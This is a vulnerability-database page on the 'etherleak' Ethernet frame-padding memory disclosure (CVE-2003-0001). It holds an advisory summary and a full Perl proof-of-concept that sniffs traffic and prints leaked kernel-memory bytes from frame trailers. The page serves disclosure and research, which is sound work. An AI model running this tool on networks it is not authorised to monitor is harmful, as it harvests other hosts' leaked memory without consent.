Lucene search
K

Linux Kernel 2.0.x/2.2.x/2.4.x,FreeBSD 4.x Network Device Driver Frame Padding Information Disclosure

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 66 Views

Linux Kernel and FreeBSD Network Device Driver Frame Padding Information Disclosur

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cisco ASA < 8.4.4.6|8.2.5.32 Ethernet Information Leak
10 Jun 201300:00
zdt
0day.today
Ethernet Device Drivers Frame Padding Info Leakage Expl (Etherleak)
23 Mar 200700:00
zdt
GithubExploit
exploits
25 May 202601:12
githubexploit
ATTACKERKB
CVE-2022-22216
13 Jul 202207:00
attackerkb
CVE
CAN-2003-0001
6 Aug 202410:38
cve
CVE
CVE-2003-0001
8 Jan 200305:00
cve
Circl
CVE-2003-0001
20 Jul 202218:11
circl
Cvelist
CVE-2003-0001
8 Jan 200305:00
cvelist
Debian
[SECURITY] [DSA 423-1] New Linux 2.4.17 packages fix several problems (ia64)
15 Jan 200407:49
debian
Debian
[SECURITY] [DSA 442-1] New Linux 2.4.17 packages fix local root exploits and more (s390)
19 Feb 200409:24
debian
Rows per page

                                                source: http://www.securityfocus.com/bid/6535/info

Network device drivers for several vendors have been reported to disclose potentially sensitive information to attackers.

Frames that are smaller than the minimum frame size should have the unused portion of the frame buffer padded with null (or other) bytes. Some device drivers fail to do this adequately, leaving the data that was stored in the memory comprising the buffer prior to its use intact. Consequently, this data may be transmitted within frames across Ethernet segments. Since the Ethernet frame buffer is allocated in kernel memory space, sensitive data may be leaked.

Cisco has stated that the IOS 12.1 and 12.2 trains are not affected.

National Semiconductor Ethernet controller chips are not vulnerable to this issue. 

#!/usr/bin/perl -w
# etherleak, code that has been 5 years coming.
#
# On 04/27/2002, I disclosed on the Linux Kernel Mailing list,
# a vulnerability that would be come known as the &#39;etherleak&#39; bug.  In
# various situations an ethernet frame must be padded to reach a specific
# size or fall on a certain boundary.  This task is left up to the driver
# for the ethernet device.  The RFCs state that this padding must consist
# of NULLs.  The bug is that at the time and still to this day, many device
# drivers do not pad will NULLs, but rather pad with unsanitized portions
# of kernel memory, oftentimes exposing sensitive information to remote
# systems or those savvy enough to coerce their targets to do so.
#
# Proof of this can be found by googling for &#39;warchild and etherleak&#39;, or
# by visiting:
#
#  http://lkml.org/lkml/2002/4/27/101
#
# This was ultimately fixed in the Linux kernel, but over time this
# vulnerability reared its head numerous times, but at the core the
# vulnerability was the same as the one I originally published.  The most
# public of these was CVE-2003-0001, which was assigned to address an
# official @stake advisory.
#
# This code can be found its most current form at:
#  
#  http://spoofed.org/files/exploits/etherleak
#
# Jon Hart &#60;[email protected]&#62;, March 2007
#

use strict;
use diagnostics;
use warnings;
use Getopt::Long;
use Net::Pcap;
use NetPacket::Ethernet qw(:ALL);
use NetPacket::IP qw(:ALL);

my %opts = ();
my ($iface, $err, $pcap_t, $pcap_save, $filter_string); 

GetOptions( \%opts, &#39;help&#39;, &#39;filter=s&#39;, &#39;interface=s&#39;, &#39;quiet&#39;, &#39;read=s&#39;, &#39;write=s&#39;, &#39;verbose&#39;) or
            die &#34;Unknown option: $!\n&#34; && &usage();

if (defined($opts{&#39;help&#39;})) {
   &usage();
   exit(0);
}

if (defined($opts{&#39;read&#39;})) {
   $pcap_t = Net::Pcap::open_offline($opts{&#39;read&#39;}, \$err);
   if (!defined($pcap_t)) {
      print(&#34;Net::Pcap::open_offline failed: $err\n&#34;);
      exit 1;
   }
} else {
   if (defined($opts{&#39;interface&#39;})) {
      $iface = $opts{&#39;interface&#39;};
   } else {
      $iface = Net::Pcap::lookupdev(\$err);
      if (defined($err)) {
         print(STDERR &#34;lookupdev() failed: $err\n&#34;);
         exit(1);
      } else {
         print(STDERR &#34;No interface specified.  Using $iface\n&#34;);
      }
   }

   $pcap_t = Net::Pcap::open_live($iface, 65535, 1, 0, \$err);
   if (!defined($pcap_t)) {
      print(&#34;Net::Pcap::open_live failed on $iface: $err\n&#34;);
      exit 1;
   }
}

my $filter;
if (Net::Pcap::compile($pcap_t, \$filter, defined($opts{&#39;filter&#39;}) ? $opts{&#39;filter&#39;} : &#34;&#34;, 0, 0) == -1) {
   printf(&#34;Net::Pcap::compile failed: %s\n&#34;, Net::Pcap::geterr($pcap_t));
   exit(1);
}

if (Net::Pcap::setfilter($pcap_t, $filter) == -1) {
   printf(&#34;Net::Pcap::setfilter failed: %s\n&#34;, Net::Pcap::geterr($pcap_t));
   exit(1);
}

if (defined($opts{&#39;write&#39;})) {
   $pcap_save = Net::Pcap::dump_open($pcap_t, $opts{&#39;write&#39;});
   if (!defined($pcap_save)) {
      printf(&#34;Net::Pcap::dump_open failed: %s\n&#34;, Net::Pcap::geterr($pcap_t));
      exit(1);
   }
}

Net::Pcap::loop($pcap_t, -1, \&process, &#34;foo&#34;);
Net::Pcap::close($pcap_t);

if (defined($opts{&#39;write&#39;})) {
   Net::Pcap::dump_close($pcap_save);
}



sub process {
   my ($user, $hdr, $pkt) = @_;
   my ($link, $ip);
   my $jump = 0;

   my $datalink = Net::Pcap::datalink($pcap_t);
   if    ($datalink == 1) { $jump += 14; }
   elsif ($datalink == 113) { $jump += 16; }
   else { printf(&#34;Skipping datalink $datalink\n&#34;); return; }

   my $l2 = NetPacket::Ethernet-&#62;decode($pkt);
   
   if ($l2-&#62;{type} == ETH_TYPE_IP) {
      $ip = NetPacket::IP-&#62;decode(eth_strip($pkt));
      $jump += $ip-&#62;{len};
   } elsif ($l2-&#62;{type} == ETH_TYPE_ARP) { $jump += 28; }
   else { 
      # assume 802.3 ethernet, and just jump ahead the length
      for ($l2-&#62;{dest_mac}) {
         if (/^0180c200/) {
            # spanning tree
            # l2-&#62;{type} here will actually be the length.  HACK.
            $jump += $l2-&#62;{type};
         }
         elsif (/^01000ccccc/) {
            # CDP/VTP/DTP/PAgP/UDLD/PVST, etc
            # l2-&#62;{type} here will actually be the length.  HACK.
            $jump += $l2-&#62;{type};
         } elsif (/^ab0000020000/) {
            # DEC-MOP-Remote-Console
            return;
         } else {
            # loopback
            if ($l2-&#62;{src_mac} eq $l2-&#62;{dest_mac}) { return; }
            printf(&#34;Skipping datalink $datalink l2 type %s\n&#34;, $l2-&#62;{type}); return;
         }
      }
   }


   if ($hdr-&#62;{len} &#62; $jump) {
      my $trailer_bin = substr($pkt, $jump);
      my $trailer_hex = &#34;&#34;;
      my $trailer_ascii = &#34;&#34;;
      foreach (split(//, $trailer_bin)) {
         $trailer_hex .= sprintf(&#34;%02x&#34;, ord($_));
         if (ord($_) &#62;= 32 && ord($_) &#60;= 126) {
            $trailer_ascii .= $_;
         } else { $trailer_ascii .= &#34;.&#34;; }
      }
      # ignore all trailers that are just single characters repeated.
      # most OS&#39; use 0, F, 5 or a.
      unless ($trailer_hex =~ /^(0|5|f|a)\1*$/i) {
         unless ($opts{&#39;quiet&#39;}) {
            print(&#34;#&#34;x80, &#34;\n&#34;);
            printf(&#34;%s -&#62; %s\n&#34;, $l2-&#62;{src_mac}, $l2-&#62;{dest_mac});
            if ($l2-&#62;{type} == ETH_TYPE_IP) {
               printf(&#34;%s -&#62; %s\n&#34;, $ip-&#62;{src_ip}, $ip-&#62;{dest_ip});
            }
         }
         print(&#34;$trailer_hex\t$trailer_ascii\n&#34;);
         if (defined($opts{&#39;write&#39;})) {
            Net::Pcap::dump($pcap_save, $hdr, $pkt);
         }
      }
   }
}

sub usage {
   print &#60;&#60;EOF;
$0 -- A demonstration of the infamous &#39;etherleak&#39; bug.

   CVE-2003-0001, and countless repeats of the same vulnerability.

   Options:
   [-h|--help]                  # this message
   [-i|--interface] &#60;interface&#62; # interface to listen on
   [-f|--filter] &#60;pcap filter&#62;  # apply this filter to the traffic
   [-r|--read] &#60;path to pcap&#62;   # read from this saved pcap file
   [-w|--write] &#60;path to pcap&#62;  # write tothis saved pcap file
   [-q|--quiet]                 # be quiet
   [-v|--verbose]               # be verbose

EOF


}

# milw0rm.com [2007-03-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.04317
66